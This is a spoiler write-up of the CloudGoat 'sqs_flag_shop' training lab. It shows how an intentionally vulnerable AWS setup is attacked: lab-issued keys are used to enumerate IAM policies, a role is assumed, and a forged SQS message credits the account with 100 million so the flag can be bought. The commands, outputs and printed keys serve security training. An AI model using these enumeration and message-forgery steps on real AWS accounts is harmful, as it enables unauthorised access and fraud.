Warning Spoilers!

This is a write up the CloudGoat scenario sqs_flag_shop and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo)

Installation

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

If your using custom aws profiles use the following command.

./cloudgoat.py config profile

Scenario

The goal of the scenario is to buy FLAG successfully from the shop site.

./cloudgoat.py create sqs_flag_shop
# cg_web_site_ip = 3.86.15.225:5000
# cloudgoat_output_sqsuser_access_key_id = AKIAZ6IIT5XUVJ456RGO
# cloudgoat_output_sqsuser_secret_key = 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

Launching the scenario took about 8 minutes to complete. I’m going to first look over the web page before the AWS keys.

sqs flag shop website

The following endpoints were found when quickly looking over the site.

GET http://3.86.15.225:5000/ The main page showing what items can be bought http://3.86.15.225:5000/charge Honestly not sure what this page does http://3.86.15.225:5000/receipt Shows the recent purchase

POST http://3.86.15.225:5000/purchase/apple Buys and apple http://3.86.15.225:5000/purchase/flag Buys a flag, fails because user does not have enough money http://3.86.15.225:5000/charge_cash/10 Not sure what (also charge_cash/1 & charge_cash/5) http://3.86.15.225:5000/initialize_asset Resets balance back to 3000

When looking in the source we found a link to maybe the source code https://github.com/BoB12-C-G-V/FLAG-Shop

Time to look at the AWS keys

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUVJ456RGO
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUV6XED4M5T",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cg-sqs-user-sqs_flag_shop_cgids4107y9p0b"
# }

Lets start by enumerating for the users permissions.

aws iam list-attached-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# None

aws iam list-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# cg-sqs-scenario-assumed-role-policy

aws iam get-user-policy --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b --policy-name cg-sqs-scenario-assumed-role-policy
# {
#     "UserName": "cg-sqs-user-sqs_flag_shop_cgids4107y9p0b",
#     "PolicyName": "cg-sqs-scenario-assumed-role-policy",
#     "PolicyDocument": {
#         "Version": "2012-10-17",
#         "Statement": [
#             {
#                 "Action": [
#                     "iam:Get*",
#                     "iam:List*"
#                 ],
#                 "Effect": "Allow",
#                 "Resource": "*",
#                 "Sid": "VisualEditor0"
#             },
#             {
#                 "Action": "sts:AssumeRole",
#                 "Effect": "Allow",
#                 "Resource": "arn:aws:iam::0123456789:role/cg-sqs_send_msg_role",
#                 "Sid": "VisualEditor1"
#             }
#         ]
#     }
# }

The user can get and list iam resources and also assume another role.

Lets first see what access it has before we assume it.

aws iam list-attached-role-policies --role-name cg-sqs_send_msg_role
# None

aws iam list-role-policies --role-name cg-sqs_send_msg_role
# cg-sqs_scenario_policy

aws iam get-role-policy --role-name cg-sqs_send_msg_role --policy-name cg-sqs_scenario_policy
# {
#     "RoleName": "cg-sqs_send_msg_role",
#     "PolicyName": "cg-sqs_scenario_policy",
#     "PolicyDocument": {
#         "Version": "2012-10-17",
#         "Statement": [
#             {
#                 "Action": [
#                     "sqs:GetQueueUrl",
#                     "sqs:SendMessage"
#                 ],
#                 "Effect": "Allow",
#                 "Resource": "arn:aws:sqs:us-east-1:0123456789:cash_charging_queue",
#                 "Sid": "VisualEditor0"
#             }
#         ]
#     }
# }

The role has permission to get and list all related to the SQS resource cash_charging_queue. Lets now assume that role.

aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-sqs_send_msg_role --role-session-name sqs_send_msg_role
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAZ6IIT5XU43NIQRU6",
#         "SecretAccessKey": "JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM",
#         "SessionToken": "IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfez2zsTmVl2Xmw7/tq9mA7pv4AiEA0SPa2XluATPxu0ex6blWQH4Eo0k1mkGLTGSi1KTLAooqpwIIkv//////////ARACGgw2ODM0NTQ3NTQyODEiDNJRbwbe3h7z89c58yr7AUGIB3Nj/SrFuBIXKw6Q/ZK2dZs4OUIhy3nVJDTEx8jRBkyVys4KtXOfQlf82ab1S+/h4FOL/knaTxr2q5xVNOMQutGJL6SokA7UuZemUTFOw0F8Dam9c8sl/uQ7NwaKUVYHlsvWW0tAPhp7bl+EQcTnj19OU9+5LdlvZB3BTFCaxlfqYXtz0Wd73FsY6oXKj07oU6ef8+7zhA0v8cBklJq8kCgyrIw8yU2tlQQeWrljRY6eZ+Hlt2MouK8BG0VuZA09Mt5gDqRGRGYDQ/UOrLCmD+lwvXg86Kz1R+86B2/Fdi8VxhMrqY47TRyC1YvM2aG6CDMcpxQM53RmMIb7jasGOp0BmwLMwRFjAd1YJzXIm5AZETbuCEo8LphJyOJbqYI0us33a2BNO/Om/q0Wbe4HAX1lMaUa+3x2oK65IzlmLT6K0CT4WGSslYAKhv2l8s4x+qIuV9ZmDZcEQWv8zc0dAc2c/k3f9YWdjonRVR2usHMlSedvCzzMD9c1lch2S/hpwXWQDxfPonue9x32fE15C+DaKB5WHHBckBg9XRtWJA==",
#         "Expiration": "2023-11-26T18:16:54+00:00"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
#         "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs_send_msg_role/sqs_send_msg_role"
#     }
# }

In a new terminal session

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU43NIQRU6
export AWS_SECRET_ACCESS_KEY=JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfez2zsTmVl2Xmw7/tq9mA7pv4AiEA0SPa2XluATPxu0ex6blWQH4Eo0k1mkGLTGSi1KTLAooqpwIIkv//////////ARACGgw2ODM0NTQ3NTQyODEiDNJRbwbe3h7z89c58yr7AUGIB3Nj/SrFuBIXKw6Q/ZK2dZs4OUIhy3nVJDTEx8jRBkyVys4KtXOfQlf82ab1S+/h4FOL/knaTxr2q5xVNOMQutGJL6SokA7UuZemUTFOw0F8Dam9c8sl/uQ7NwaKUVYHlsvWW0tAPhp7bl+EQcTnj19OU9+5LdlvZB3BTFCaxlfqYXtz0Wd73FsY6oXKj07oU6ef8+7zhA0v8cBklJq8kCgyrIw8yU2tlQQeWrljRY6eZ+Hlt2MouK8BG0VuZA09Mt5gDqRGRGYDQ/UOrLCmD+lwvXg86Kz1R+86B2/Fdi8VxhMrqY47TRyC1YvM2aG6CDMcpxQM53RmMIb7jasGOp0BmwLMwRFjAd1YJzXIm5AZETbuCEo8LphJyOJbqYI0us33a2BNO/Om/q0Wbe4HAX1lMaUa+3x2oK65IzlmLT6K0CT4WGSslYAKhv2l8s4x+qIuV9ZmDZcEQWv8zc0dAc2c/k3f9YWdjonRVR2usHMlSedvCzzMD9c1lch2S/hpwXWQDxfPonue9x32fE15C+DaKB5WHHBckBg9XRtWJA==

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs_send_msg_role/sqs_send_msg_role"
# }

Lets now do some sqs diggin

aws sqs get-queue-url --queue-name cash_charging_queue
# "QueueUrl": "https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue"

aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --attribute-names All
# {
#     "Attributes": {
#         "QueueArn": "arn:aws:sqs:us-east-1:0123456789:cash_charging_queue",
#         "ApproximateNumberOfMessages": "0",
#         "ApproximateNumberOfMessagesNotVisible": "4",
#         "ApproximateNumberOfMessagesDelayed": "0",
#         "CreatedTimestamp": "1701016690",
#         "LastModifiedTimestamp": "1701016716",
#         "VisibilityTimeout": "30",
#         "MaximumMessageSize": "1024",
#         "MessageRetentionPeriod": "345600",
#         "DelaySeconds": "0",
#         "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowSQSFullAccess\",\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"sqs:*\",\"Resource\":\"*\"}]}",
#         "ReceiveMessageWaitTimeSeconds": "0",
#         "SqsManagedSseEnabled": "true"
#     }
# }

Lets see if we can view messages

aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --attribute-names ALL --message-attribute-names ALL --wait-time-seconds 20

While the receive message command is running, I clicked on the charge amount button. But I only got it to work once

{
    "Messages": [
        {
            "MessageId": "8c818555-9fff-42bc-95d8-69f5854d4b8b",
            "ReceiptHandle": "AQEBUT/CsLrWp8JNcSpY31ehFp+lPjFC9q/IJ7xjW88ganbvFSKcKueGyD7+A1K4ILorLUKz8gOrCsmtVGs7XHpuZ3h5vg73Dl97yGyTbaqppE26JG9G0TwSt6pLZ22VfYceuqMWHyYkK3Tl7fi+1eNTA2ZRd82FtCJ21yzoCyF2/y3YVbdn8xMZfxJenZ8v9xty3eG0NkkTDshqJnfmZ82Dp8ngiaO/WMakV9q7Vzcau8B+JDusT1wF+c8GQuj+ng+1d6BAe+HNb2RDFHZhw7mKbc0u5wh99cztN70J4S0o4k592y9J+LFQyQHJaXt/w0HEolbdSWdEK27pJbvD4wjnZqmzb9CIfBd4lRNb8bqSDoCEjJd/4I3J6BI4ldrEnnGoSaKgk3UHDFEe+m2xk0TZ3A==",
            "MD5OfBody": "1854b899980d14ae2560a40a8d56a7d9",
            "Body": "{\"charge_amount\": 1}"
        }
    ]
}

Lets try adding our own queue messages.

aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --message-body "{\"charge_amount\": 1}"

Nothing… same when we hit the http://3.86.15.225:5000/charge endpoint.

As of writing this the scenario is not published yet and there was a bug (should be fixed when published).

Now hitting the endpoint or running the sqs command updates the balance.

When looking at the source code the website only allows 1, 5, or 10 to be made at a time. That would take a while to manually do.

Lets see if there is a max we can add to it when hitting it from the sqs queue…

aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --message-body "{\"charge_amount\": 100000000}"

Nope, we should now have enough to buy the flag.

Clicking on the order flag it subtracts 100 million, going to the receipt page we can view the flag!

sqs flag shop flag

Cleanup

./cloudgoat.py destroy sqs_flag_shop